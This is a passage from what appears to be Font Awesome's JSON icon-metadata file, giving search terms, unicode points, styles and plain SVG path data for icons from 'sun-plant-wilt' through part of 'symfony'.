      "regular": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M375.7 19.7c-1.5-8-6.9-14.7-14.4-17.8s-16.1-2.2-22.8 2.4L256 61.1 173.5 4.2c-6.7-4.6-15.3-5.5-22.8-2.4s-12.9 9.8-14.4 17.8l-18.1 98.5L19.7 136.3c-8 1.5-14.7 6.9-17.8 14.4s-2.2 16.1 2.4 22.8L61.1 256 4.2 338.5c-4.6 6.7-5.5 15.3-2.4 22.8s9.8 13 17.8 14.4l98.5 18.1 18.1 98.5c1.5 8 6.9 14.7 14.4 17.8s16.1 2.2 22.8-2.4L256 450.9l82.5 56.9c6.7 4.6 15.3 5.5 22.8 2.4s12.9-9.8 14.4-17.8l18.1-98.5 98.5-18.1c8-1.5 14.7-6.9 17.8-14.4s2.2-16.1-2.4-22.8L450.9 256l56.9-82.5c4.6-6.7 5.5-15.3 2.4-22.8s-9.8-12.9-17.8-14.4l-98.5-18.1L375.7 19.7zM269.6 110l65.6-45.2 14.4 78.3c1.8 9.8 9.5 17.5 19.3 19.3l78.3 14.4L402 242.4c-5.7 8.2-5.7 19 0 27.2l45.2 65.6-78.3 14.4c-9.8 1.8-17.5 9.5-19.3 19.3l-14.4 78.3L269.6 402c-8.2-5.7-19-5.7-27.2 0l-65.6 45.2-14.4-78.3c-1.8-9.8-9.5-17.5-19.3-19.3L64.8 335.2 110 269.6c5.7-8.2 5.7-19 0-27.2L64.8 176.8l78.3-14.4c9.8-1.8 17.5-9.5 19.3-19.3l14.4-78.3L242.4 110c8.2 5.7 19 5.7 27.2 0zM256 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM192 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M375.7 19.7c-1.5-8-6.9-14.7-14.4-17.8s-16.1-2.2-22.8 2.4L256 61.1 173.5 4.2c-6.7-4.6-15.3-5.5-22.8-2.4s-12.9 9.8-14.4 17.8l-18.1 98.5L19.7 136.3c-8 1.5-14.7 6.9-17.8 14.4s-2.2 16.1 2.4 22.8L61.1 256 4.2 338.5c-4.6 6.7-5.5 15.3-2.4 22.8s9.8 13 17.8 14.4l98.5 18.1 18.1 98.5c1.5 8 6.9 14.7 14.4 17.8s16.1 2.2 22.8-2.4L256 450.9l82.5 56.9c6.7 4.6 15.3 5.5 22.8 2.4s12.9-9.8 14.4-17.8l18.1-98.5 98.5-18.1c8-1.5 14.7-6.9 17.8-14.4s2.2-16.1-2.4-22.8L450.9 256l56.9-82.5c4.6-6.7 5.5-15.3 2.4-22.8s-9.8-12.9-17.8-14.4l-98.5-18.1L375.7 19.7zM269.6 110l65.6-45.2 14.4 78.3c1.8 9.8 9.5 17.5 19.3 19.3l78.3 14.4L402 242.4c-5.7 8.2-5.7 19 0 27.2l45.2 65.6-78.3 14.4c-9.8 1.8-17.5 9.5-19.3 19.3l-14.4 78.3L269.6 402c-8.2-5.7-19-5.7-27.2 0l-65.6 45.2-14.4-78.3c-1.8-9.8-9.5-17.5-19.3-19.3L64.8 335.2 110 269.6c5.7-8.2 5.7-19 0-27.2L64.8 176.8l78.3-14.4c9.8-1.8 17.5-9.5 19.3-19.3l14.4-78.3L242.4 110c8.2 5.7 19 5.7 27.2 0zM256 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM192 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "sun-plant-wilt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arid", "droop", "drought"]
    },
    "styles": ["solid"],
    "unicode": "e57a",
    "label": "Sun Plant Wilt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 0c-6.3 0-12 3.7-14.6 9.5L120.6 64.9 63.9 43.2c-5.9-2.3-12.6-.8-17 3.6s-5.9 11.1-3.6 17l21.7 56.7L9.5 145.4C3.7 148 0 153.7 0 160s3.7 12 9.5 14.6l55.4 24.8L43.2 256.1c-2.3 5.9-.8 12.6 3.6 17s11.1 5.9 17 3.6l56.7-21.7 24.8 55.4c2.6 5.8 8.3 9.5 14.6 9.5s12-3.7 14.6-9.5l24.8-55.4 56.7 21.7c5.9 2.3 12.6 .8 17-3.6s5.9-11.1 3.6-17l-21.7-56.7 55.4-24.8c5.8-2.6 9.5-8.3 9.5-14.6s-3.7-12-9.5-14.6l-55.4-24.8 21.7-56.7c2.3-5.9 .8-12.6-3.6-17s-11.1-5.9-17-3.6L199.4 64.9 174.6 9.5C172 3.7 166.3 0 160 0zm0 96a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm312 16c0-17.7 14.3-32 32-32s32 14.3 32 32v53.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C624 318 640 290.7 640 274c0-21.5-9.2-37-24-44.6V176c0-44.2-35.8-80-80-80s-80 35.8-80 80v22.7c-9.8-4.3-20.6-6.7-32-6.7c-44.2 0-80 35.8-80 80v21.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C400 382 416 354.7 416 338c0-21.5-9.2-37-24-44.6V272c0-17.7 14.3-32 32-32s32 14.3 32 32v8V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H504V280v-8V176z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 0c-6.3 0-12 3.7-14.6 9.5L120.6 64.9 63.9 43.2c-5.9-2.3-12.6-.8-17 3.6s-5.9 11.1-3.6 17l21.7 56.7L9.5 145.4C3.7 148 0 153.7 0 160s3.7 12 9.5 14.6l55.4 24.8L43.2 256.1c-2.3 5.9-.8 12.6 3.6 17s11.1 5.9 17 3.6l56.7-21.7 24.8 55.4c2.6 5.8 8.3 9.5 14.6 9.5s12-3.7 14.6-9.5l24.8-55.4 56.7 21.7c5.9 2.3 12.6 .8 17-3.6s5.9-11.1 3.6-17l-21.7-56.7 55.4-24.8c5.8-2.6 9.5-8.3 9.5-14.6s-3.7-12-9.5-14.6l-55.4-24.8 21.7-56.7c2.3-5.9 .8-12.6-3.6-17s-11.1-5.9-17-3.6L199.4 64.9 174.6 9.5C172 3.7 166.3 0 160 0zm0 96a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm312 16c0-17.7 14.3-32 32-32s32 14.3 32 32v53.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C624 318 640 290.7 640 274c0-21.5-9.2-37-24-44.6V176c0-44.2-35.8-80-80-80s-80 35.8-80 80v22.7c-9.8-4.3-20.6-6.7-32-6.7c-44.2 0-80 35.8-80 80v21.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C400 382 416 354.7 416 338c0-21.5-9.2-37-24-44.6V272c0-17.7 14.3-32 32-32s32 14.3 32 32v8V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H504V280v-8V176z"
      }
    },
    "free": ["solid"]
  },
  "superpowers": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2dd",
    "label": "Superpowers",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"
      }
    },
    "free": ["brands"]
  },
  "superscript": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "exponential", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f12b",
    "label": "Superscript",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 73.5 404.3 80 416 80v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V32zM32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 73.5 404.3 80 416 80v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V32zM32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32z"
      }
    },
    "free": ["solid"]
  },
  "supple": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f9",
    "label": "Supple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"
      }
    },
    "free": ["brands"]
  },
  "suse": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7d6",
    "label": "Suse",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"
      }
    },
    "free": ["brands"]
  },
  "swatchbook": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5c3"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pantone", "color", "design", "hue", "palette"]
    },
    "styles": ["solid"],
    "unicode": "f5c3",
    "label": "Swatchbook",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H160c17.7 0 32 14.3 32 32V416c0 53-43 96-96 96s-96-43-96-96V32zM223.6 425.9c.3-3.3 .4-6.6 .4-9.9V154l75.4-75.4c12.5-12.5 32.8-12.5 45.3 0l90.5 90.5c12.5 12.5 12.5 32.8 0 45.3L223.6 425.9zM182.8 512l192-192H480c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H182.8zM128 64H64v64h64V64zM64 192v64h64V192H64zM96 440a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H160c17.7 0 32 14.3 32 32V416c0 53-43 96-96 96s-96-43-96-96V32zM223.6 425.9c.3-3.3 .4-6.6 .4-9.9V154l75.4-75.4c12.5-12.5 32.8-12.5 45.3 0l90.5 90.5c12.5 12.5 12.5 32.8 0 45.3L223.6 425.9zM182.8 512l192-192H480c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H182.8zM128 64H64v64h64V64zM64 192v64h64V192H64zM96 440a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "swift": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8e1",
    "label": "Swift",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"
      }
    },
    "free": ["brands"]
  },
  "symfony": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83d",
    "label": "Symfony",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 